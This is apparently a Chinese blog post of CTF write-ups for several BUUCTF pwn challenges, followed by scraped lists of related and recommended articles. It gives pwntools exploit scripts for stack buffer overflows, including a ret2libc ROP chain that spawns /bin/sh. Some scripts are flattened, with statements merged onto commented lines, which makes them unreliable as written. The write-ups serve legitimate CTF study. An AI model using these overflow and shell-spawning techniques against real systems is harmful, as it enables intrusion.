pwn难啊

1、test_your_nc

测试你nc,不用说,连上就有。

2、rip

ida中已经包含了system函数:

溢出,覆盖rip为fun函数,peda计算偏移为23:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1') flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr) #print p.recv()
p.sendline(payload)
p.interactive()

3、warmup_csaw_2016

ida中,可以看到,存在溢出

使用peda计算偏移为72

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016') catflag_addr = 0x40060d payload = 'A'*72 + p64(catflag_addr) #print p.recv()
p.sendline(payload) p.interactive()

exp

4、pwn1_sctf_2016

先check一下文件

文件开启了NX。使用ida查看:

程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”

在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。

输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29641)
#p = process('./pwn1_sctf_2016')
#p = remote('xxxxx',xxxx) catflag_addr = 0x8048f0d payload = 21*'I' +'A'+ p32(catflag_addr) #print p.recvuntil('yourself:')
p.sendline(payload) p.interactive()

exp

5、ciscn_2019_c_1

先check一下,开启了Nx和Relro

ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc

在encrypt()函数中发现gets函数,这个是一个溢出点

可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)

注意encryt()函数会修改我们的payload,所以第一位用'\0'避开。

偏移为:0x50+8

 1 #!python
2 #coding:utf-8
3
4 from pwn import *
5 from LibcSearcher import *
6
7 context.log_level = 'debug'
8 context.arch = 'amd64'
9
10 elf = ELF('./ciscn_2019_c_1')
11 puts_got = elf.got['puts']
12 puts_plt = elf.plt['puts']
13 main_addr = elf.sym['main']
14 ret = 0x4006b9
15 pop_rdi = 0x400c83
16 sh = 0
17 lib = 0
18
19
20 def main(ip,port,debug):
21 global sh
22 global lib
23 if debug == 1:
24 sh = process('./ciscn_2019_c_1')
25 else:
26 sh = remote(ip,port)
27
28 sh.sendlineafter('choice!\n','1')
29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
30 sh.sendlineafter('encrypted\n',payload)
31 sh.recvline()
32 sh.recvline()
33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
34 libc = LibcSearcher('puts',puts)
35 libcbase = puts - libc.dump('puts')
36 binsh = libcbase + libc.dump('str_bin_sh')
37 sys_addr = libcbase + libc.dump('system')
38 sh.sendlineafter('choice!\n','1')
39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
40 sh.sendlineafter('encrypted\n',payload2)
41 sh.interactive()
42
43 if __name__ == '__main__':
44
45 main('node3.buuoj.cn',27020,0)

exp

6、ciscn_2019_n_1

先check一下,开启了NX和RELRO

查看字符串,能看到,或许是和flag相关

可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag

通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',26929)
#p = ('./ciscn_2019_n_1') v2_addr = 0x41348000 payload = 0x2c*'a' + p64(v2_addr) print p.recv()
p.sendline(payload) p.interactive()

exp

7、ciscn_2019_en_2

同上5

待续。。。。

buuctf pwn wp---part1的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  3. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  4. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  7. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  8. [BUUCTF]PWN——babyfengshui_33c3_2016

    babyfengshui_33c3_2016 附件 步骤: 例行检查,32位程序,开启了cannary和nx 本地运行一下看看大概的情况,熟悉的堆的菜单布局 32位ida载入,看main函数 add ...

  9. [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

    roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...

  10. [BUUCTF]PWN——[ZJCTF 2019]EasyHeap

    [ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...

随机推荐

  1. Python算法_三种斐波那契数列算法

    斐波那契数列(Fibonacci sequence),又称黄金分割数列.因数学家列昂纳多·斐波那契(Leonardoda Fibonacci)以兔子繁殖为例子而引入,故又称为"兔子数列&qu ...

  2. Linux零拷贝技术

    本文转载自Linux零拷贝技术 导语 本文讲解 Linux 的零拷贝技术,云计算是一门很庞大的技术学科,融合了很多技术,Linux 算是比较基础的技术,所以,学好 Linux 对于云计算的学习会有比较 ...

  3. centos7下载和安装 通过xshell连接,有手就行,小白教程

    下载步骤: https://mirrors.aliyun.com/centos/?spm=a2c6h.13651104.0.0.3c3712b2NaHUdY 点击下载或者复制链接到迅雷下载 下载好以后 ...

  4. java基础第12期——反射、注解

    一. 反射 反射: 将类的各个组成部分封装为其他对象. 1.1 获取class对象的方式 Class.forName("全类名"): 将字节码文件加载进内存,返回class对象 多 ...

  5. ThreadPoolExecutor中execute和submit的区别

    1:入参不同 excute() 传入的是 Runable, submit 传入的是 Callable 或 Runable 1):execute 方法源码 public void execute(Run ...

  6. Java常用类:Scanner类

    一.简介 java.util.Scanner是Java5的新特征,我们可以通过Scanner类来获取用户的输入. 二.创建对象 示例: Scanner scanner = new Scanner(Sy ...

  7. python学习之常用数据结构

    前言:数据结构不管在哪门编程语言之中都是非常重要的,因为学校的课程学习到了python,所以今天来聊聊关于python的数据结构使用. 一.列表 list 1.列表基本介绍 列表中的每个元素都可变的, ...

  8. 剑指 Offer 39. 数组中出现次数超过一半的数字 + 摩尔投票法

    剑指 Offer 39. 数组中出现次数超过一半的数字 Offer_39 题目描述 方法一:使用map存储数字出现的次数 public class Offer_39 { public int majo ...

  9. 如何使用 HttpReports 监控 .NET Core 应用程序

    简介 HttpReports 基于.NET Core 开发的APM监控系统,使用MIT开源协议,主要功能包括,统计, 分析, 可视化, 监控,追踪等,适合在中小项目中使用. github:https: ...

  10. java校招笔试题

    基础: Java 反射?反射有什么缺点?你是怎么理解反射的(为什么框架需要反射)? 谈谈对 Java 注解的理解,解决了什么问题? 内部类了解吗?匿名内部类了解吗? BIO和NIO区别,4核cpu,1 ...